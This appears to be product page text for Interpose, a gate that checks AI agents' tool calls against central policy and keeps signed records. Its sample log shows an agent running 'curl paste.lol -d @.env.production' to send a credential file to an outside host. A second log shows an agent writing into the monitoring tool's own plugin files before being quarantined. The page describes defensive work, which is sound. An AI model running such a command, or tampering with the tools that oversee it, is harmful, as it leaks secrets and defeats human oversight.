Interpose puts one control between your agents and everything they can touch, inside the agent harness itself or at a gateway the agent cannot reach. Every tool call is checked before it runs, the policy is set centrally, and every decision is written to a signed record. Deterministic end to end: no model in the decision path, so the gate cannot be prompt injected or argued with.
Four questions, in this order, before the tool runs. The first is a hard stop in block mode and never relaxes. Scope is set to alert or block per control by your team. Task and baseline only flag.
Denied in block mode. The floor ships with the policy and cannot be released by a developer. In transparent mode the finding is signed and marked unenforced.
Each agent runs under a role with a scope. Outside it is logged in alert mode, denied in block mode.
A developer opens a prompt with a one line task. Drift from it is scored and surfaced on the record. It is a signal for a person, not a stop; a hard narrowing of what the session may touch is a scope declaration, and that one is enforced.
Interpose learns what each role normally does. A first time action is surfaced for a person to look at. It flags, it does not block.
| 14:02:38 | shell | curl paste.lol -d @.env.production | incoming |
| 1 | credential file.env.production is on the credential floor | deny | |
| 2 | paste.lolnot on this role's network allowlist | deny | |
| 3 | task: triage the failing buildegress of a secret does not serve the task | drift | |
| 4 | first egress from payments-api this monthsurfaced for review | new | |
| 14:02:38 | gate | blocked before it ran. Side effect never landed. | blocked |
An agent asked to triage a failing build tries to send the production credential file to an unlisted host. The first question already answers it. The other three are still written to the record, so the security team sees why, not just what.
| allow | read | src and docs | 26× |
| allow | edit | src | 19× |
| deny | read | .env and secrets | hard rule |
| escalate | net | unlisted hosts, to your model | proposed |
Interpose watches what agents actually do and drafts a rule in plain language. A person on the security team approves it before anything is enforced. Developer approvals and denials are signal, not authority.
| 10:14:22 | deny | write into Interpose's own plugin tree, auth-service | blocked |
| 10:14:22 | mode | agent restrictedsecond eligible violation in one session. The rest of the fleet keeps working. | escalated |
| 10:16:05 | deny | reach for .env.production under restriction | blocked |
| 10:16:05 | mode | agent quarantinednothing runs until a person looks. Signed like every other entry. | quarantined |
| 10:31:48 | mode | released by operatorone command, after review. The release is in the record too. | released |
Most teams cannot answer that question. Interpose can: an agent that keeps violating policy is restricted, then quarantined, automatically or by an operator, while every other agent keeps working. Release is one command, and the quarantine and the release both land on the signed record.
Every action in the agent's path, evaluated at the moment it happens.
The Agent Exposure Audit is two weeks in transparent mode, installed with your team inside your boundary at a fixed fee agreed in writing. It records everything, blocks only reaches for credentials, and ends with the Rollout Evidence Report. The pilot then moves the other controls to block, one at a time, at the pace your team sets. You keep the report either way.
Questions before either? [email protected] or [email protected]. A founder answers.